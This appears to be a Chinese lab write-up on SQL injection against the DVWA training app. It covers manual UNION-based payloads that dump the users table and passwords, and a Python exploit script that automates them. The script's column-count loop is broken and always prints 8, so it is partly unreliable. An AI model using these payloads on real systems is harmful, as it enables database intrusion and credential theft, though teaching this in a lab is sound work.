针对DVWA-sql注入写的exp

SQL Injection（sql注入）

介绍

SQL Injection，即SQL注入，是指攻击者通过注入恶意的SQL命令，破坏SQL查询语句的结构，从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的，常常会导致整个数据库被“脱裤”，尽管如此，SQL注入仍是现在最常见的Web漏洞之一。

手工注入思路

自动化的注入神器sqlmap固然好用，但还是要掌握一些手工注入的思路，下面简要介绍手工注入（非盲注）的步骤。

• 1.判断是否存在注入，注入是字符型还是数字型

  2.猜解SQL查询语句中的字段数

  3.确定显示的字段顺序

  4.获取当前数据库

  5.获取数据库中的表

  6.获取表中的字段名

  7.下载数据

Low

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
   // Get input
   $id = $_REQUEST[ 'id' ];

   // Check database
   $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
   $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

   // Get results
   while( $row = mysqli_fetch_assoc( $result ) ) {
       // Get values
       $first = $row["first_name"];
       $last  = $row["last_name"];

       // Feedback for end user
       echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
  }

   mysqli_close($GLOBALS["___mysqli_ston"]);
}

?>

可以看到，Low级别的代码对来自客户端的参数id没有进行任何的检查与过滤，存在明显的SQL注入。

漏洞利用

现实攻击场景下，攻击者是无法看到后端代码的，所以下面的手工注入步骤是建立在无法看到源码的基础上。

1.判断是否存在注入，注入是字符型还是数字型

输入1，查询成功：

输入1’and ‘1’ =’2，查询失败，返回结果为空：

输入1’or ‘1 ’=’1，查询成功：

返回了多个结果，说明存在字符型注入。

2.猜解SQL查询语句中的字段数

输入1′ or 1=1 order by 1 #，查询成功，输入1′ or 1=1 order by 3 #，查询失败，说明执行的SQL查询语句中只有两个字段，即这里的First name、Surname。

3.确定显示的字段顺序

输入1′ union select 1,2 #，查询成功：

4.获取当前数据库

输入1′ union select 1,database() #，查询成功：

说明当前的数据库为dvwa。

5.获取数据库中的表

输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #，查询成功：

说明数据库dvwa中一共有两个表，guestbook与users。

6.获取表中的字段名

输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #，查询成功：

说明users表中有8个字段，分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下载数据

输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #，查询成功：

这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。

针对以上实验，用python3实现了一个针对sql注入的一个exp，但是因为本人能力有限，代码写的不是很好。

# -*- coding:utf-8 -*
import requests
import re

url = "http://192.168.5.5/dvwa/vulnerabilities/sqli/?id=1"
payload1 = '''1%27+order+by+{n}+%23&Submit=Submit#'''
headers = {
	
		'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
		'Accept-Encoding':'gzip, deflate',
		'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
		'Connection':'keep-alive',
		'Cookie':'security=low; LanguageMenu_lpmru=zh-CHS; PHPSESSID=fjaht3vibor6rul6k6mtj2qbe6; mstto=zh-CHS',
		'Host':'192.168.5.5',
		'User-Agent':'; Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0'

}

for i in range(1,10):
	ss = payload1.format(n=i)
	url1 = requests.get(url+ss,headers=headers)
print('字段数：',i-1)

payload2 = '''1'+union+select+1%2Cdatabase()+%23&Submit=Submit#'''
url2 = requests.get(url+payload2,headers=headers)
if 'Surname'.encode() in url2.content:
	database = re.findall('Surname:(.*?)</pre>',url2.text)
	print('当前数据库为：',database)

payload3 = '''1%27+union+select+1%2Cgroup_concat%28table_name%29+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+%23&Submit=Submit#'''
url3 = requests.get(url+payload3,headers=headers)
if 'users'.encode() in url3.content:
	table = re.findall('Surname:(.*?)</pre>',url3.text)
	print('tables:',table)

payload4 = '''1'+union+select+1%2Cgroup_concat(column_name)+from+information_schema.columns+where+table_name%3D'users'+%23&Submit=Submit#'''
url4 = requests.get(url+payload4,headers=headers)
if 'username'.encode() in url4.content:
	column = re.findall('Surname:(.*?)</pre>',url4.text)
	print('columns:',column)

payload5 = '''1'+or+1%3D1+union+select+group_concat(user_id%2Cfirst_name%2Clast_name)%2Cgroup_concat(password)+from+users+%23&Submit=Submit#'''
url5 = requests.get(url+payload5,headers=headers)
userInfo = re.findall('Surname:(.*?)</pre>',url5.text)
print(userInfo)